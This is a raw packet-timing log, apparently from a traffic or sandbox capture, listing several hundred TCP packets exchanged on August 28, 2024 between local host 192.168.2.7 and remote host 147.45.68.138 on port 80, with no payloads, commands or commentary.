Aug 28, 2024 22:55:56.256952047 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.257105112 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.257142067 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.261374950 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.261435986 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.261564016 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.261604071 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.261890888 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.261903048 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.261914015 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.261928082 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.261955023 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.266207933 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.266262054 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.266648054 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.266659021 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.266690016 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.266706944 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.271334887 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.271348000 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.271359921 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.271387100 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.271398067 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.271420002 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.271456957 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.275995970 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.276009083 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.276021004 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.276032925 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.276042938 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.276043892 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.276057005 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.276062965 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.276071072 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.276082039 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.276093006 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.276103973 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.276112080 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.276114941 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.276133060 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.276135921 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.276144028 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.276155949 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.276155949 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.276168108 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.276185989 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.276194096 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.276197910 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.276211977 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.276220083 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.276221037 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.276222944 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.276227951 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.276238918 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.276248932 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.276249886 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.276261091 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.276273012 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.276283979 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.276288986 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.276299953 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.276309967 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.276312113 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.276323080 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.276330948 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.276340008 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.276348114 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.276351929 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.276365042 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.276367903 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.276374102 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.276375055 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.276385069 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.276390076 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.276395082 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.276401043 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.276406050 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.276412010 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.276417017 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.276420116 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.276422024 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.276434898 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.276441097 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.276452065 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.276463985 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.276478052 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.276495934 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.276505947 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.276515961 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.276516914 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.276526928 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.276539087 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.276546955 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.276550055 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.276563883 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.276575089 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.276576996 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.276587009 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.276597023 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.276597977 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.276607990 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.276613951 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.276619911 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.276632071 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.276639938 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.276643038 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.276655912 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.276664972 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.276667118 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.276678085 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.276685953 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.276689053 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.276700974 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.276712894 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.276715040 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.276730061 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.276741028 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.276747942 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.276751041 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.276763916 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.276767969 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.276773930 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.276779890 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.276784897 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.276787996 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.276788950 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.276799917 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.276812077 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.276828051 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.276833057 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.276840925 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.276850939 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.276853085 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.276865005 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.276875973 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.276876926 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.276889086 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.276894093 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.276901007 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.276912928 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.276921988 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.276922941 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.276933908 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.276945114 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.276946068 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.276954889 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.276963949 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.276966095 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.276981115 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.276989937 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.276990891 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.277003050 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.277014017 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.277025938 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.277025938 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.277036905 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.277044058 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.277050018 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.277061939 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.277069092 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.277085066 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.277102947 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.277143002 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.277154922 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.277178049 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.277183056 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.277192116 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.277194977 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.277204037 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.277215004 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.277225018 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.277239084 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.277251959 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.277338028 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.277349949 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.277360916 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.277374029 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.277384043 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.277386904 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.277398109 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.277410030 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.277410030 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.277421951 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.277434111 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.277435064 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.277445078 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.277446985 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.277456045 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.277467012 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.277472973 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.277478933 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.277489901 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.277498007 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.277520895 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.324979067 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.325016022 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.325025082 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.325056076 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.325082064 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.325156927 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.325167894 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.325181007 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.325192928 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.325285912 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.325285912 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.325285912 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.325305939 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.325318098 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.325329065 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.325355053 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.325368881 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.325505972 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.325516939 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.325527906 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.325539112 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.325556040 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.325579882 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.325685024 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.325702906 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.325714111 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.325726032 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.325731039 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.325737953 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.325748920 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.325752020 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.325761080 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.325773001 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.325778961 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.325793028 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.325808048 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.325836897 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.325854063 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.325880051 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.325891972 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.326028109 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.326039076 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.326052904 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.326065063 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.326076984 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.326102018 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.326198101 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.326209068 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.326219082 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.326231003 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.326241970 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.326255083 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.326261997 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.326298952 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.326441050 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.326458931 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.326472998 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.326484919 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.326492071 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.326495886 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.326508045 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.326508045 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.326519966 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.326531887 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.326534033 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.326544046 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.326550961 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.326555967 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.326566935 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.326567888 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.326580048 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.326596022 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.326597929 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.326610088 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.326618910 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.326620102 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.326632023 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.326642990 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.326644897 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.326656103 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.326658964 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.326667070 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.326677084 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.326683044 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.326690912 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.326700926 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.326709032 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.326713085 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.326723099 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.326729059 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.326735020 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.326752901 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.326756001 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.326769114 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.326775074 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.326785088 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.326796055 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.326802015 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.326816082 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.326816082 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.326827049 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.326838970 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.326839924 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.326852083 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.326863050 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.326888084 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.326929092 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.326966047 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.326968908 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.326977015 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.327007055 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.327042103 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.327054024 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.327063084 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.327085018 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.327097893 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.327106953 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.327110052 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.327121973 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.327130079 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.327140093 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.327146053 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.327152014 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.327161074 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.327176094 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.327188969 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.327258110 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.327300072 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.327323914 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.327336073 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.327364922 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.327416897 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.327426910 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.327436924 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.327447891 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.327457905 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.327461004 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.327471972 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.327478886 CEST	49731	80	192.168.2.7	147.45.68.138
